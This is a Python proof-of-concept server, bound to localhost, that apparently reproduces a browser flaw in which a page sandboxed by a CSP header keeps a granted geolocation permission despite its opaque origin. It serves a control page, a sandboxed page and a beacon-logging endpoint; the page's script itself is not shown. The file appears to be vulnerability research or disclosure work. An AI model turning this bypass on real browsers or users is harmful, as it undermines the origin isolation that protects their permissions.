#!/usr/bin/env python3
"""
HTTP server for CSP-sandbox permission origin bypass POC.
Serves three endpoints:
/ - Non-sandboxed page that requests geolocation (to establish a grant)
/sandboxed - SAME content but with `Content-Security-Policy: sandbox allow-scripts`
header. The page has an OPAQUE origin (origin === "null") yet
navigator.permissions.query({name:'geolocation'}) returns "granted"
because the browser falls back to GetVisibleURL() for the lookup key.
/log - Receives JSON beacons from the page (since console output from
sandboxed iframes/docs can be hard to capture).
/results.json - Returns all logged results.
Listens on 127.0.0.1:8080 only.
"""
import http.server
import json
import socketserver
import sys
import threading
from urllib.parse import urlparse
PORT = 8080
HOST = "127.0.0.1"
# Shared log buffer for /log beacons
_log_lock = threading.Lock()
_log_entries = []
PAGE_BODY = b"""
CSP Sandbox Permission Bypass POC
Loading...
"""
class Handler(http.server.BaseHTTPRequestHandler):
def log_message(self, fmt, *args):
sys.stderr.write("[server] %s\n" % (fmt % args))
def do_GET(self):
path = urlparse(self.path).path
if path in ("/", "/index.html", "/grant", "/grant.html"):
# Non-sandboxed control page.
self.send_response(200)
self.send_header("Content-Type", "text/html; charset=utf-8")
self.send_header("Cache-Control", "no-store")
self.end_headers()
self.wfile.write(PAGE_BODY)
return
if path in ("/sandboxed", "/sandboxed.html"):
# The vulnerable case: top-level document served with CSP sandbox.
# Per HTML spec, `sandbox` without `allow-same-origin` commits
# an OPAQUE origin. allow-scripts is needed so our payload runs.
self.send_response(200)
self.send_header("Content-Type", "text/html; charset=utf-8")
self.send_header("Content-Security-Policy",
"sandbox allow-scripts")
self.send_header("Cache-Control", "no-store")
self.end_headers()
self.wfile.write(PAGE_BODY)
return
if path == "/results.json":
with _log_lock:
body = json.dumps(_log_entries, indent=2).encode()
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.send_header("Access-Control-Allow-Origin", "*")
self.end_headers()
self.wfile.write(body)
return
self.send_response(404)
self.end_headers()
def do_POST(self):
path = urlparse(self.path).path
if path == "/log":
length = int(self.headers.get("Content-Length", "0"))
raw = self.rfile.read(length)
try:
entry = json.loads(raw.decode("utf-8"))
except Exception:
entry = {"raw": raw.decode("utf-8", "replace")}
with _log_lock:
_log_entries.append(entry)
print("=" * 70, flush=True)
print("[POC-BEACON] " + json.dumps(entry, indent=2), flush=True)
print("=" * 70, flush=True)
self.send_response(204)
# Allow the sandboxed (Origin: null) page to POST.
self.send_header("Access-Control-Allow-Origin", "*")
self.end_headers()
return
self.send_response(404)
self.end_headers()
def do_OPTIONS(self):
self.send_response(204)
self.send_header("Access-Control-Allow-Origin", "*")
self.send_header("Access-Control-Allow-Methods", "POST, GET, OPTIONS")
self.send_header("Access-Control-Allow-Headers", "Content-Type")
self.end_headers()
def main():
socketserver.TCPServer.allow_reuse_address = True
with socketserver.TCPServer((HOST, PORT), Handler) as httpd:
print(f"[server] Listening on http://{HOST}:{PORT}", flush=True)
print(f"[server] Control page (non-sandboxed): http://{HOST}:{PORT}/",
flush=True)
print(f"[server] Sandboxed page (CSP sandbox): http://{HOST}:{PORT}/sandboxed",
flush=True)
print(f"[server] Results JSON: http://{HOST}:{PORT}/results.json",
flush=True)
httpd.serve_forever()
if __name__ == "__main__":
main()